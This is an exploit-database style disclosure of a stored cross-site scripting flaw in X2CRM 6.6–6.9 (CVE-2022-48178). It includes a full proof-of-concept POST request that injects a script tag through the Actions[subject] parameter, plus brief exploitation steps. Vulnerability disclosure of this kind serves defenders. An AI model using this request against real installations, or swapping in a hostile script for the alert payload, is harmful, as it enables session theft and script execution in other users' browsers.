X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated)

vendor:

X2CRM

by:

Betul Denizler

5.4

CVSS

MEDIUM

Stored Cross-Site Scripting (XSS)

CWE

Product Name: X2CRM

Affected Version From: X2CRM v6.6

Affected Version To: X2CRM v6.9

Patch Exists: NO

Related CWE: CVE-2022-48178

CPE: a:x2crm:x2crm:6.6

Metasploit:

Other Scripts:

Platforms Tested: Ubuntu Mate 20.04

2022

X2CRM v6.6/6.9 – Stored Cross-Site Scripting (XSS) (Authenticated)

X2CRM v6.6/6.9 is vulnerable to Stored Cross-Site Scripting (XSS) when an authenticated user injects malicious payload to the vulnerable parameter in POST request. The vulnerable parameter is Actions[subject]. An attacker can inject malicious payload to the parameter and execute arbitrary JavaScript code in the victim's browser.

Mitigation:

Input validation should be done to prevent malicious payload injection.

Source

Exploit-DB raw data:

# Exploit Title: X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Exploit Author: Betul Denizler
# Vendor Homepage: https://x2crm.com/
# Software Link: https://sourceforge.net/projects/x2engine/
# Version: X2CRM v6.6/6.9
# Tested on: Ubuntu Mate 20.04
# Vulnerable Parameter: Actions[subject]
# CVE: CVE-2022-48178
# Date: 27.12.2022

'''
POC REQUEST:
========
POST /c2xrm/x2engine/index.php/actions/update?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) 
Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 172
Origin: http://localhost
Connection: close
Referer: 
http://localhost/c2xrm/x2engine/index.php/actions/viewAction?id=1
Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1; 
PHPSESSID=kg3n7kcjqtm29fc7n4m72m0bt5; 
YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab; 
5d8630d289284e8c14d15b14f4b4dc28=779a63cb39d04cca59b4a3b9b2a4fad817930211a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%224%22%3Bi%3A1%3Bs%3A5%3A%22test2%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; 
sessionToken=Ncr7UIvK2yPvHzZc8koNW4DaIXxwZnsr
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab&Actions%5Bsubject%5D=%3Cscript%3Ealert(1)%3C%2Fscript%3E&Actions%5Bpriority%5D=1&Actions%5BactionDescription%5D=test

EXPLOITATION
========
1. Create an action
2. Inject payload to the vulnerable parameter in POST request

Payload: %3Cscript%3Ealert(1)%3C%2Fscript%3E
'''